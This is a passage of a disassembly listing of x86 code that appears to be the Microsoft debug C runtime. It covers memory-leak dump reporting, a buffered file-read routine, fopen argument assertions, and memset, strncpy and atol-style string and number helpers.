int 3 ; Trap to Debugger
loc_416FD5: ; CODE XREF: sub_416E60+172j
xor eax, eax
test eax, eax
jnz short loc_416FB3
mov ecx, [ebp+var_1C]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 4
jnz short loc_41705D
loc_416FEC: ; CODE XREF: sub_416E60+1C8j
mov eax, [ebp+var_1C]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_1C]
mov eax, [edx+14h]
sar eax, 10h
and eax, 0FFFFh
push eax
mov ecx, [ebp+var_1C]
add ecx, 20h
push ecx
push offset aClientBlockAt0 ; "client block at 0x%08X, subtype %x, %u "...
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 20h
cmp eax, 1
jnz short loc_417024
int 3 ; Trap to Debugger
loc_417024: ; CODE XREF: sub_416E60+1C1j
xor edx, edx
test edx, edx
jnz short loc_416FEC
cmp dword_4DF698, 0
jz short loc_41704C
mov eax, [ebp+var_1C]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_1C]
add edx, 20h
push edx
call dword_4DF698
add esp, 8
jmp short loc_417058
; ---------------------------------------------------------------------------
loc_41704C: ; CODE XREF: sub_416E60+1D1j
mov eax, [ebp+var_1C]
push eax
call sub_417160
add esp, 4
loc_417058: ; CODE XREF: sub_416E60+1EAj
jmp loc_4170FE
; ---------------------------------------------------------------------------
loc_41705D: ; CODE XREF: sub_416E60+18Aj
mov ecx, [ebp+var_1C]
cmp dword ptr [ecx+14h], 1
jnz short loc_4170A3
loc_417066: ; CODE XREF: sub_416E60+233j
mov edx, [ebp+var_1C]
mov eax, [edx+10h]
push eax
mov ecx, [ebp+var_1C]
add ecx, 20h
push ecx
push offset aNormalBlockAt0 ; "normal block at 0x%08X, %u bytes long.\n"...
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 1Ch
cmp eax, 1
jnz short loc_41708F
int 3 ; Trap to Debugger
loc_41708F: ; CODE XREF: sub_416E60+22Cj
xor edx, edx
test edx, edx
jnz short loc_417066
mov eax, [ebp+var_1C]
push eax
call sub_417160
add esp, 4
jmp short loc_4170FE
; ---------------------------------------------------------------------------
loc_4170A3: ; CODE XREF: sub_416E60+204j
mov ecx, [ebp+var_1C]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 2
jnz short loc_4170FE
loc_4170B4: ; CODE XREF: sub_416E60+290j
mov eax, [ebp+var_1C]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_1C]
mov eax, [edx+14h]
sar eax, 10h
and eax, 0FFFFh
push eax
mov ecx, [ebp+var_1C]
add ecx, 20h
push ecx
push offset aCrtBlockAt0x08 ; "crt block at 0x%08X, subtype %x, %u byt"...
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 20h
cmp eax, 1
jnz short loc_4170EC
int 3 ; Trap to Debugger
loc_4170EC: ; CODE XREF: sub_416E60+289j
xor edx, edx
test edx, edx
jnz short loc_4170B4
mov eax, [ebp+var_1C]
push eax
call sub_417160
add esp, 4
loc_4170FE: ; CODE XREF: sub_416E60:loc_416F35j
; sub_416E60:loc_417058j ...
jmp loc_416ED9
; ---------------------------------------------------------------------------
loc_417103: ; CODE XREF: sub_416E60+85j
; sub_416E60+91j
mov [ebp+var_4], 0FFFFFFFFh
call sub_417111
jmp short loc_41711C
sub_416E60 endp
; =============== S U B R O U T I N E =======================================
sub_417111 proc near ; CODE XREF: sub_416E60+2AAp
; DATA XREF: .data:00434BF0o
push 9
call sub_41BD20
add esp, 4
retn
sub_417111 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_416E60
loc_41711C: ; CODE XREF: sub_416E60+2AFj
; sub_416E60+2E0j
push offset aObjectDumpComp ; "Object dump complete.\n"
push offset aS_20 ; "%s"
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_41713C
int 3 ; Trap to Debugger
loc_41713C: ; CODE XREF: sub_416E60+2D9j
xor ecx, ecx
test ecx, ecx
jnz short loc_41711C
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_416E60
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417160 proc near ; CODE XREF: sub_416E60+1F0p
; sub_416E60+239p ...
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_34 = byte ptr -34h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov [ebp+var_4C], 0
jmp short loc_41717B
; ---------------------------------------------------------------------------
loc_417172: ; CODE XREF: sub_417160+D7j
mov eax, [ebp+var_4C]
add eax, 1
mov [ebp+var_4C], eax
loc_41717B: ; CODE XREF: sub_417160+10j
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+10h], 10h
jge short loc_41718F
mov edx, [ebp+arg_0]
mov eax, [edx+10h]
mov [ebp+var_54], eax
jmp short loc_417196
; ---------------------------------------------------------------------------
loc_41718F: ; CODE XREF: sub_417160+22j
mov [ebp+var_54], 10h
loc_417196: ; CODE XREF: sub_417160+2Dj
mov ecx, [ebp+var_4C]
cmp ecx, [ebp+var_54]
jge loc_41723C
mov edx, [ebp+arg_0]
add edx, [ebp+var_4C]
mov al, [edx+20h]
mov byte ptr [ebp+var_50], al
cmp dword_447480, 1
jle short loc_4171D3
push 157h
mov ecx, [ebp+var_50]
and ecx, 0FFh
push ecx
call sub_41FA40
add esp, 8
mov [ebp+var_58], eax
jmp short loc_4171F0
; ---------------------------------------------------------------------------
loc_4171D3: ; CODE XREF: sub_417160+55j
mov edx, [ebp+var_50]
and edx, 0FFh
mov eax, off_447274
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 157h
mov [ebp+var_58], ecx
loc_4171F0: ; CODE XREF: sub_417160+71j
cmp [ebp+var_58], 0
jz short loc_417204
mov edx, [ebp+var_50]
and edx, 0FFh
mov [ebp+var_5C], edx
jmp short loc_41720B
; ---------------------------------------------------------------------------
loc_417204: ; CODE XREF: sub_417160+94j
mov [ebp+var_5C], 20h
loc_41720B: ; CODE XREF: sub_417160+A2j
mov eax, [ebp+var_4C]
mov cl, byte ptr [ebp+var_5C]
mov [ebp+eax+var_48], cl
mov edx, [ebp+var_50]
and edx, 0FFh
push edx
push offset a_2x ; "%.2X "
mov eax, [ebp+var_4C]
imul eax, 3
lea ecx, [ebp+eax+var_34]
push ecx
call sub_417CB0
add esp, 0Ch
jmp loc_417172
; ---------------------------------------------------------------------------
loc_41723C: ; CODE XREF: sub_417160+3Cj
mov edx, [ebp+var_4C]
mov [ebp+edx+var_48], 0
loc_417244: ; CODE XREF: sub_417160+10Bj
lea eax, [ebp+var_34]
push eax
lea ecx, [ebp+var_48]
push ecx
push offset aDataSS ; " Data: <%s> %s\n"
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 1Ch
cmp eax, 1
jnz short loc_417267
int 3 ; Trap to Debugger
loc_417267: ; CODE XREF: sub_417160+104j
xor edx, edx
test edx, edx
jnz short loc_417244
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_417160 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417280 proc near ; CODE XREF: sub_417B70+B9p
var_34 = byte ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
lea eax, [ebp+var_34]
push eax
call sub_416B80
add esp, 4
cmp [ebp+var_20], 0
jnz short loc_4172B4
cmp [ebp+var_2C], 0
jnz short loc_4172B4
mov ecx, dword_444E70
and ecx, 10h
test ecx, ecx
jz short loc_4172EB
cmp [ebp+var_28], 0
jz short loc_4172EB
loc_4172B4: ; CODE XREF: sub_417280+19j
; sub_417280+1Fj ...
push offset aDetectedMemory ; "Detected memory leaks!\n"
push offset aS_20 ; "%s"
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_4172D4
int 3 ; Trap to Debugger
loc_4172D4: ; CODE XREF: sub_417280+51j
xor edx, edx
test edx, edx
jnz short loc_4172B4
push 0
call sub_416E60
add esp, 4
mov eax, 1
jmp short loc_4172ED
; ---------------------------------------------------------------------------
loc_4172EB: ; CODE XREF: sub_417280+2Cj
; sub_417280+32j
xor eax, eax
loc_4172ED: ; CODE XREF: sub_417280+69j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_417280 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
cmp dword ptr [ebp+8], 0
jnz short loc_417312
jmp loc_4173BE
; ---------------------------------------------------------------------------
loc_417312: ; CODE XREF: .data:0041730Bj
mov dword ptr [ebp-4], 0
jmp short loc_417324
; ---------------------------------------------------------------------------
loc_41731B: ; CODE XREF: .data:0041736Cj
mov eax, [ebp-4]
add eax, 1
mov [ebp-4], eax
loc_417324: ; CODE XREF: .data:00417319j
cmp dword ptr [ebp-4], 5
jge short loc_41736E
loc_41732A: ; CODE XREF: .data:0041736Aj
mov ecx, [ebp-4]
mov edx, off_444E80[ecx*4]
push edx
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov edx, [ecx+eax*4+4]
push edx
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov edx, [ecx+eax*4+18h]
push edx
push offset aLdBytesInLdHsB ; "%ld bytes in %ld %hs Blocks.\n"
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 20h
cmp eax, 1
jnz short loc_417366
int 3 ; Trap to Debugger
loc_417366: ; CODE XREF: .data:00417363j
xor eax, eax
test eax, eax
jnz short loc_41732A
jmp short loc_41731B
; ---------------------------------------------------------------------------
loc_41736E: ; CODE XREF: .data:00417328j
; .data:00417394j
mov ecx, [ebp+8]
mov edx, [ecx+2Ch]
push edx
push offset aLargestNumberU ; "Largest number used: %ld bytes.\n"
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_417390
int 3 ; Trap to Debugger
loc_417390: ; CODE XREF: .data:0041738Dj
xor eax, eax
test eax, eax
jnz short loc_41736E
loc_417396: ; CODE XREF: .data:004173BCj
mov ecx, [ebp+8]
mov edx, [ecx+30h]
push edx
push offset aTotalAllocatio ; "Total allocations: %ld bytes.\n"
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_4173B8
int 3 ; Trap to Debugger
loc_4173B8: ; CODE XREF: .data:004173B5j
xor eax, eax
test eax, eax
jnz short loc_417396
loc_4173BE: ; CODE XREF: .data:0041730Dj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4173D0 proc near ; CODE XREF: sub_4010AA+43p
; sub_40D78C+4Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_C]
push eax
call sub_41AE20
add esp, 4
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_417410
add esp, 10h
mov [ebp+var_4], eax
mov edx, [ebp+arg_C]
push edx
call sub_41AE90
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4173D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417410 proc near ; CODE XREF: sub_4173D0+20p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 24h
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
imul ecx, [ebp+arg_8]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jnz short loc_417439
xor eax, eax
jmp loc_4175DB
; ---------------------------------------------------------------------------
loc_417439: ; CODE XREF: sub_417410+20j
mov eax, [ebp+arg_C]
mov ecx, [eax+0Ch]
and ecx, 10Ch
test ecx, ecx
jz short loc_417454
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_1C], eax
jmp short loc_41745B
; ---------------------------------------------------------------------------
loc_417454: ; CODE XREF: sub_417410+37j
mov [ebp+var_1C], 1000h
loc_41745B: ; CODE XREF: sub_417410+42j
; sub_417410:loc_4175D3j
cmp [ebp+var_C], 0
jz loc_4175D8
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
and edx, 10Ch
test edx, edx
jz short loc_4174E9
mov eax, [ebp+arg_C]
cmp dword ptr [eax+4], 0
jz short loc_4174E9
mov ecx, [ebp+arg_C]
mov edx, [ebp+var_C]
cmp edx, [ecx+4]
jnb short loc_417491
mov eax, [ebp+var_C]
mov [ebp+var_20], eax
jmp short loc_41749A
; ---------------------------------------------------------------------------
loc_417491: ; CODE XREF: sub_417410+77j
mov ecx, [ebp+arg_C]
mov edx, [ecx+4]
mov [ebp+var_20], edx
loc_41749A: ; CODE XREF: sub_417410+7Fj
mov eax, [ebp+var_20]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
push ecx
mov edx, [ebp+arg_C]
mov eax, [edx]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_419330
add esp, 0Ch
mov edx, [ebp+var_C]
sub edx, [ebp+var_18]
mov [ebp+var_C], edx
mov eax, [ebp+arg_C]
mov ecx, [eax+4]
sub ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx+4], ecx
mov eax, [ebp+arg_C]
mov ecx, [eax]
add ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx], ecx
mov eax, [ebp+var_8]
add eax, [ebp+var_18]
mov [ebp+var_8], eax
jmp loc_4175D3
; ---------------------------------------------------------------------------
loc_4174E9: ; CODE XREF: sub_417410+63j
; sub_417410+6Cj
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_1C]
jb loc_41758E
cmp [ebp+var_1C], 0
jz short loc_41750D
mov eax, [ebp+var_C]
xor edx, edx
div [ebp+var_1C]
mov eax, [ebp+var_C]
sub eax, edx
mov [ebp+var_24], eax
jmp short loc_417513
; ---------------------------------------------------------------------------
loc_41750D: ; CODE XREF: sub_417410+E9j
mov ecx, [ebp+var_C]
mov [ebp+var_24], ecx
loc_417513: ; CODE XREF: sub_417410+FBj
mov edx, [ebp+var_24]
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_C]
mov eax, [edx+10h]
push eax
call sub_41FCF0
add esp, 0Ch
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_417558
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 10h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp loc_4175DB
; ---------------------------------------------------------------------------
loc_417558: ; CODE XREF: sub_417410+127j
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41757A
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_4175DB
; ---------------------------------------------------------------------------
loc_41757A: ; CODE XREF: sub_417410+14Cj
mov ecx, [ebp+var_C]
sub ecx, [ebp+var_14]
mov [ebp+var_C], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_14]
mov [ebp+var_8], edx
jmp short loc_4175D3
; ---------------------------------------------------------------------------
loc_41758E: ; CODE XREF: sub_417410+DFj
mov eax, [ebp+arg_C]
push eax
call sub_41FB00
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_4175B0
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_4175DB
; ---------------------------------------------------------------------------
loc_4175B0: ; CODE XREF: sub_417410+191j
mov ecx, [ebp+var_8]
mov dl, byte ptr [ebp+var_4]
mov [ecx], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_1C], eax
loc_4175D3: ; CODE XREF: sub_417410+D4j
; sub_417410+17Cj
jmp loc_41745B
; ---------------------------------------------------------------------------
loc_4175D8: ; CODE XREF: sub_417410+4Fj
mov eax, [ebp+arg_8]
loc_4175DB: ; CODE XREF: sub_417410+24j
; sub_417410+143j ...
mov esp, ebp
pop ebp
retn
sub_417410 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4175E0 proc near ; CODE XREF: sub_4176E0+Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
loc_4175E9: ; CODE XREF: sub_4175E0+31j
cmp [ebp+arg_0], 0
jnz short loc_41760D
push offset aFileNull ; "file != NULL"
push 0
push 35h
push offset aFopen_c ; "fopen.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_41760D
int 3 ; Trap to Debugger
loc_41760D: ; CODE XREF: sub_4175E0+Dj
; sub_4175E0+2Aj
xor eax, eax
test eax, eax
jnz short loc_4175E9
loc_417613: ; CODE XREF: sub_4175E0+5Fj
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_41763B
push offset aFile_t0 ; "*file != _T('\\0')"
push 0
push 36h
push offset aFopen_c ; "fopen.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_41763B
int 3 ; Trap to Debugger
loc_41763B: ; CODE XREF: sub_4175E0+3Bj
; sub_4175E0+58j
xor eax, eax
test eax, eax
jnz short loc_417613
loc_417641: ; CODE XREF: sub_4175E0+89j
cmp [ebp+arg_4], 0
jnz short loc_417665
push offset aModeNull ; "mode != NULL"
push 0
push 37h
push offset aFopen_c ; "fopen.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_417665
int 3 ; Trap to Debugger
loc_417665: ; CODE XREF: sub_4175E0+65j
; sub_4175E0+82j
xor ecx, ecx
test ecx, ecx
jnz short loc_417641
loc_41766B: ; CODE XREF: sub_4175E0+B7j
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_417693
push offset aMode_t0 ; "*mode != _T('\\0')"
push 0
push 38h
push offset aFopen_c ; "fopen.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_417693
int 3 ; Trap to Debugger
loc_417693: ; CODE XREF: sub_4175E0+93j
; sub_4175E0+B0j
xor ecx, ecx
test ecx, ecx
jnz short loc_41766B
call sub_420560
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4176AB
xor eax, eax
jmp short loc_4176D5
; ---------------------------------------------------------------------------
loc_4176AB: ; CODE XREF: sub_4175E0+C5j
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4201D0
add esp, 10h
mov [ebp+var_8], eax
mov eax, [ebp+var_4]
push eax
call sub_41AE90
add esp, 4
mov eax, [ebp+var_8]
loc_4176D5: ; CODE XREF: sub_4175E0+C9j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4175E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4176E0 proc near ; CODE XREF: sub_4010AA+18p
; sub_401C87+342Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 40h
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4175E0
add esp, 0Ch
pop ebp
retn
sub_4176E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417700 proc near ; CODE XREF: .data:00401207p
; .data:00401215p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_417753
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_417747
neg ecx
and ecx, 3
jz short loc_417729
sub edx, ecx
loc_417723: ; CODE XREF: sub_417700+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_417723
loc_417729: ; CODE XREF: sub_417700+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_417747
rep stosd
test edx, edx
jz short loc_41774D
loc_417747: ; CODE XREF: sub_417700+18j
; sub_417700+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_417747
loc_41774D: ; CODE XREF: sub_417700+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_417753: ; CODE XREF: sub_417700+Aj
mov eax, [esp+arg_0]
retn
sub_417700 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417760 proc near ; CODE XREF: sub_401404+48Ap
; sub_401404+4A6p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_4177E3
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_417784
shr ecx, 2
jnz short loc_4177F1
jmp short loc_4177A5
; ---------------------------------------------------------------------------
loc_417784: ; CODE XREF: sub_417760+1Bj
; sub_417760+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_4177B2
test al, al
jz short loc_4177BA
test esi, 3
jnz short loc_417784
mov ebx, ecx
shr ecx, 2
jnz short loc_4177F1
loc_4177A0: ; CODE XREF: sub_417760+8Fj
and ebx, 3
jz short loc_4177B2
loc_4177A5: ; CODE XREF: sub_417760+22j
; sub_417760+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_4177DE
dec ebx
jnz short loc_4177A5
loc_4177B2: ; CODE XREF: sub_417760+2Bj
; sub_417760+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_4177BA: ; CODE XREF: sub_417760+2Fj
test edi, 3
jz short loc_4177D4
loc_4177C2: ; CODE XREF: sub_417760+72j
mov [edi], al
inc edi
dec ecx
jz loc_417856
test edi, 3
jnz short loc_4177C2
loc_4177D4: ; CODE XREF: sub_417760+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_417847
loc_4177DB: ; CODE XREF: sub_417760+7Fj
; sub_417760+F4j
mov [edi], al
inc edi
loc_4177DE: ; CODE XREF: sub_417760+4Dj
dec ebx
jnz short loc_4177DB
pop ebx
pop esi
loc_4177E3: ; CODE XREF: sub_417760+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4177E9: ; CODE XREF: sub_417760+A9j
; sub_417760+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_4177A0
loc_4177F1: ; CODE XREF: sub_417760+20j
; sub_417760+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_4177E9
test dl, dl
jz short loc_41783B
test dh, dh
jz short loc_417831
test edx, 0FF0000h
jz short loc_417827
test edx, 0FF000000h
jnz short loc_4177E9
mov [edi], edx
jmp short loc_41783F
; ---------------------------------------------------------------------------
loc_417827: ; CODE XREF: sub_417760+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41783F
; ---------------------------------------------------------------------------
loc_417831: ; CODE XREF: sub_417760+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41783F
; ---------------------------------------------------------------------------
loc_41783B: ; CODE XREF: sub_417760+ADj
xor edx, edx
mov [edi], edx
loc_41783F: ; CODE XREF: sub_417760+C5j
; sub_417760+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_417851
loc_417847: ; CODE XREF: sub_417760+79j
xor eax, eax
loc_417849: ; CODE XREF: sub_417760+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_417849
loc_417851: ; CODE XREF: sub_417760+E5j
and ebx, 3
jnz short loc_4177DB
loc_417856: ; CODE XREF: sub_417760+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_417760 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417860 proc near ; CODE XREF: sub_417960+7p
; sub_42DC00+8Fp ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
loc_417866: ; CODE XREF: sub_417860+4Ej
cmp dword_447480, 1
jle short loc_417886
push 8
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
push ecx
call sub_41FA40
add esp, 8
mov [ebp+var_10], eax
jmp short loc_41789F
; ---------------------------------------------------------------------------
loc_417886: ; CODE XREF: sub_417860+Dj
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, off_447274
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8
mov [ebp+var_10], edx
loc_41789F: ; CODE XREF: sub_417860+24j
cmp [ebp+var_10], 0
jz short loc_4178B0
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_417866
; ---------------------------------------------------------------------------
loc_4178B0: ; CODE XREF: sub_417860+43j
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+var_4]
mov [ebp+var_C], ecx
cmp [ebp+var_4], 2Dh
jz short loc_4178D5
cmp [ebp+var_4], 2Bh
jnz short loc_4178E8
loc_4178D5: ; CODE XREF: sub_417860+6Dj
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_4178E8: ; CODE XREF: sub_417860+73j
mov [ebp+var_8], 0
loc_4178EF: ; CODE XREF: sub_417860+E9j
cmp dword_447480, 1
jle short loc_41790B
push 4
mov edx, [ebp+var_4]
push edx
call sub_41FA40
add esp, 8
mov [ebp+var_14], eax
jmp short loc_417920
; ---------------------------------------------------------------------------
loc_41790B: ; CODE XREF: sub_417860+96j
mov eax, [ebp+var_4]
mov ecx, off_447274
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_14], edx
loc_417920: ; CODE XREF: sub_417860+A9j
cmp [ebp+var_14], 0
jz short loc_41794B
mov eax, [ebp+var_8]
imul eax, 0Ah
mov ecx, [ebp+var_4]
lea edx, [eax+ecx-30h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp short loc_4178EF
; ---------------------------------------------------------------------------
loc_41794B: ; CODE XREF: sub_417860+C4j
cmp [ebp+var_C], 2Dh
jnz short loc_417958
mov eax, [ebp+var_8]
neg eax
jmp short loc_41795B
; ---------------------------------------------------------------------------
loc_417958: ; CODE XREF: sub_417860+EFj
mov eax, [ebp+var_8]
loc_41795B: ; CODE XREF: sub_417860+F6j
mov esp, ebp
pop ebp
retn
sub_417860 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417960 proc near ; CODE XREF: sub_401404+2F4p
; sub_401C87+70Cp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
call sub_417860
add esp, 4
pop ebp
retn
sub_417960 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 18h
push esi
loc_417987: ; CODE XREF: .data:004179CFj
cmp dword_447480, 1
jle short loc_4179A7
push 8
mov eax, [ebp+8]
xor ecx, ecx
mov cl, [eax]
push ecx
call sub_41FA40
add esp, 8
mov [ebp-14h], eax
jmp short loc_4179C0
; ---------------------------------------------------------------------------
loc_4179A7: ; CODE XREF: .data:0041798Ej
mov edx, [ebp+8]
